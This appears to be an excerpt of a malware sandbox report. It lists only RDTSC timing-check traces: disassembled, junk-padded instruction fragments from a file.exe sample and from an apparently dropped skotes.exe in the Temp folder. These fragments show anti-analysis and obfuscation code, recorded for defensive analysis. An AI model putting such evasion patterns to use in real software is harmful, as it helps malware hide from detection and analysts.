Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A37 second address: 49B0ADA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8A2CE89C9Eh 0x00000009 xor esi, 469D3928h 0x0000000f jmp 00007F8A2CE89C9Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F8A2CE89CA8h 0x0000001b xor cl, FFFFFF88h 0x0000001e jmp 00007F8A2CE89C9Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F8A2CE89CA6h 0x0000002d push eax 0x0000002e jmp 00007F8A2CE89C9Bh 0x00000033 xchg eax, ebx 0x00000034 jmp 00007F8A2CE89CA6h 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8A2CE89CA7h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0ADA second address: 49B0AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AF2 second address: 49B0AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AF6 second address: 49B0B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c mov edx, ecx 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B0C second address: 49B0B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B10 second address: 49B0B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B14 second address: 49B0B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B1A second address: 49B0B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B20 second address: 49B0B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B24 second address: 49B0B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e jmp 00007F8A2D3CFEE0h 0x00000013 push dword ptr [ebp+10h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F8A2D3CFEDDh 0x0000001f sbb cx, 6986h 0x00000024 jmp 00007F8A2D3CFEE1h 0x00000029 popfd 0x0000002a call 00007F8A2D3CFEE0h 0x0000002f pop ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0BC1 second address: 49B0BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0BC7 second address: 49B0BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0D5D second address: 49C0D62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0D62 second address: 49C0D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0D68 second address: 49C0D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov cx, 3EABh 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A45 second address: 49C0AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8A2D3CFEDFh 0x00000009 adc si, EBBEh 0x0000000e jmp 00007F8A2D3CFEE9h 0x00000013 popfd 0x00000014 call 00007F8A2D3CFEE0h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push edx 0x0000001e jmp 00007F8A2D3CFEDEh 0x00000023 mov dword ptr [esp], ebp 0x00000026 pushad 0x00000027 mov esi, 3D032D3Dh 0x0000002c pushad 0x0000002d mov ch, D7h 0x0000002f pushfd 0x00000030 jmp 00007F8A2D3CFEE5h 0x00000035 adc esi, 071DD206h 0x0000003b jmp 00007F8A2D3CFEE1h 0x00000040 popfd 0x00000041 popad 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F8A2D3CFEDDh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AE7 second address: 49C0AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AEC second address: 49C0B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8A2D3CFEE2h 0x00000013 sub cl, 00000008h 0x00000016 jmp 00007F8A2D3CFEDBh 0x0000001b popfd 0x0000001c mov eax, 7325B57Fh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4001B second address: 4A4004E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8A2CE89C9Fh 0x00000008 pop ecx 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8A2CE89CA7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4004E second address: 4A40054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40054 second address: 4A40058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30471 second address: 4A3048E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3048E second address: 4A304AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 mov edx, ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302BC second address: 4A302C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302C0 second address: 4A302C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302C4 second address: 4A302CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302CA second address: 4A302D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302D0 second address: 4A3030C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F8A2D3CFEDCh 0x00000015 sbb ax, A8E8h 0x0000001a jmp 00007F8A2D3CFEDBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3030C second address: 4A30322 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 78h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8A2CE89C9Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30322 second address: 4A30334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30334 second address: 4A30338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D011D second address: 49D016F instructions: 0x00000000 rdtsc 0x00000002 mov eax, 54B7D071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c call 00007F8A2D3CFEE8h 0x00000011 mov ecx, 40625B51h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007F8A2D3CFEDDh 0x0000001f xor eax, 4AAF8266h 0x00000025 jmp 00007F8A2D3CFEE1h 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306DE second address: 4A306F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306F8 second address: 4A3070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3070A second address: 4A30744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov eax, 1D18BE6Bh 0x00000014 mov edx, eax 0x00000016 popad 0x00000017 push B3265065h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8A2CE89CA6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307BD second address: 4A307CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307CD second address: 4A307D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307D1 second address: 4A307F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8A2D3CFEE9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307F9 second address: 4A3080E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3080E second address: 4A30850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov al, bl 0x0000000f pushfd 0x00000010 jmp 00007F8A2D3CFEE4h 0x00000015 xor cx, 3198h 0x0000001a jmp 00007F8A2D3CFEDBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0313 second address: 49E0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89C9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0322 second address: 49E0397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8A2D3CFEE7h 0x00000013 sbb ecx, 5A9069CEh 0x00000019 jmp 00007F8A2D3CFEE9h 0x0000001e popfd 0x0000001f pushad 0x00000020 mov al, 6Bh 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F8A2D3CFEE2h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0510 second address: 49E0515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0515 second address: 49E0534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8A2D3CFEE3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0534 second address: 49E0538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0538 second address: 49E053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E053E second address: 49E0565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8A2CE89C9Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0565 second address: 49E0574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0574 second address: 49E058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89CA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E058C second address: 49E0668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 1Ch 0x0000000b pushad 0x0000000c call 00007F8A2D3CFEDDh 0x00000011 jmp 00007F8A2D3CFEE0h 0x00000016 pop eax 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push esp 0x0000001b pushad 0x0000001c mov esi, 1D1FB7FFh 0x00000021 pushfd 0x00000022 jmp 00007F8A2D3CFEE4h 0x00000027 add eax, 487EADE8h 0x0000002d jmp 00007F8A2D3CFEDBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov dword ptr [esp], ebx 0x00000037 pushad 0x00000038 mov ax, FCFBh 0x0000003c mov edx, ecx 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 jmp 00007F8A2D3CFEDAh 0x00000045 push eax 0x00000046 jmp 00007F8A2D3CFEDBh 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F8A2D3CFEE4h 0x00000053 and ax, 82A8h 0x00000058 jmp 00007F8A2D3CFEDBh 0x0000005d popfd 0x0000005e call 00007F8A2D3CFEE8h 0x00000063 pop esi 0x00000064 popad 0x00000065 push esi 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F8A2D3CFEE9h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0668 second address: 49E06FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F8A2CE89CA3h 0x0000000b add si, 12AEh 0x00000010 jmp 00007F8A2CE89CA9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], edi 0x0000001c pushad 0x0000001d push esi 0x0000001e pushfd 0x0000001f jmp 00007F8A2CE89CA3h 0x00000024 adc ecx, 29EF08BEh 0x0000002a jmp 00007F8A2CE89CA9h 0x0000002f popfd 0x00000030 pop eax 0x00000031 popad 0x00000032 mov eax, dword ptr [7751B370h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8A2CE89CA6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E06FB second address: 49E0700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0700 second address: 49E0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8A2CE89CA7h 0x0000000a or cl, 0000002Eh 0x0000000d jmp 00007F8A2CE89CA9h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xor dword ptr [ebp-08h], eax 0x00000019 pushad 0x0000001a mov ecx, 794B2353h 0x0000001f pushfd 0x00000020 jmp 00007F8A2CE89CA8h 0x00000025 adc ax, 78D8h 0x0000002a jmp 00007F8A2CE89C9Bh 0x0000002f popfd 0x00000030 popad 0x00000031 xor eax, ebp 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 mov eax, ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0777 second address: 49E077B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E077B second address: 49E07DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007F8A2CE89CA6h 0x0000000d push eax 0x0000000e jmp 00007F8A2CE89C9Bh 0x00000013 nop 0x00000014 jmp 00007F8A2CE89CA6h 0x00000019 lea eax, dword ptr [ebp-10h] 0x0000001c pushad 0x0000001d mov bx, 5CE0h 0x00000021 popad 0x00000022 mov dword ptr fs:[00000000h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8A2CE89CA2h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E07DF second address: 49E0823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov edx, 6A4ECB40h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov esi, dword ptr [ebp+08h] 0x00000010 jmp 00007F8A2D3CFEDFh 0x00000015 mov eax, dword ptr [esi+10h] 0x00000018 pushad 0x00000019 jmp 00007F8A2D3CFEE4h 0x0000001e movzx esi, di 0x00000021 popad 0x00000022 test eax, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0823 second address: 49E0828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0828 second address: 49E082E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E082E second address: 49E0832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0832 second address: 49E085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F8A9FE0F3B5h 0x00000011 pushad 0x00000012 mov cl, CEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8A2D3CFEDFh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E085F second address: 49E08BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub eax, eax 0x00000009 jmp 00007F8A2CE89CA5h 0x0000000e mov dword ptr [ebp-20h], eax 0x00000011 jmp 00007F8A2CE89C9Eh 0x00000016 mov ebx, dword ptr [esi] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F8A2CE89CA8h 0x00000021 add ax, 5638h 0x00000026 jmp 00007F8A2CE89C9Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E08BE second address: 49E0903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8A2D3CFEDCh 0x00000013 and eax, 79A30FC8h 0x00000019 jmp 00007F8A2D3CFEDBh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 movzx eax, di 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E90 second address: 49D0EA0 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, esi 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0EA0 second address: 49D0EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DEF2E1 second address: DEEB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1BA3h], edi 0x00000011 jns 00007F8A2CE89C9Ch 0x00000017 push dword ptr [ebp+122D1689h] 0x0000001d pushad 0x0000001e pushad 0x0000001f xor di, F5C3h 0x00000024 popad 0x00000025 jmp 00007F8A2CE89C9Eh 0x0000002a popad 0x0000002b call dword ptr [ebp+122D2E49h] 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D199Fh], eax 0x00000038 xor eax, eax 0x0000003a jmp 00007F8A2CE89C9Bh 0x0000003f mov edx, dword ptr [esp+28h] 0x00000043 jno 00007F8A2CE89CA4h 0x00000049 mov dword ptr [ebp+122D3A97h], eax 0x0000004f jmp 00007F8A2CE89CA4h 0x00000054 mov esi, 0000003Ch 0x00000059 stc 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e jmp 00007F8A2CE89CA3h 0x00000063 lodsw 0x00000065 add dword ptr [ebp+122D199Fh], edi 0x0000006b mov dword ptr [ebp+122D199Fh], edi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D199Fh], eax 0x0000007b jmp 00007F8A2CE89C9Ch 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jg 00007F8A2CE89CAEh 0x0000008a jmp 00007F8A2CE89CA8h 0x0000008f push eax 0x00000090 push eax 0x00000091 push edx 0x00000092 push ecx 0x00000093 js 00007F8A2CE89C96h 0x00000099 pop ecx 0x0000009a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F73493 second address: F734AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8A2D3CFEE2h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F734AD second address: F734C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8A2CE89C96h 0x0000000a jmp 00007F8A2CE89C9Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F734C1 second address: F734CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F734CA second address: F73506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8A2CE89C96h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8A2CE89CA9h 0x00000014 jmp 00007F8A2CE89CA4h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F73506 second address: F73554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEE3h 0x00000008 jmp 00007F8A2D3CFEE7h 0x0000000d jmp 00007F8A2D3CFEE4h 0x00000012 je 00007F8A2D3CFED6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
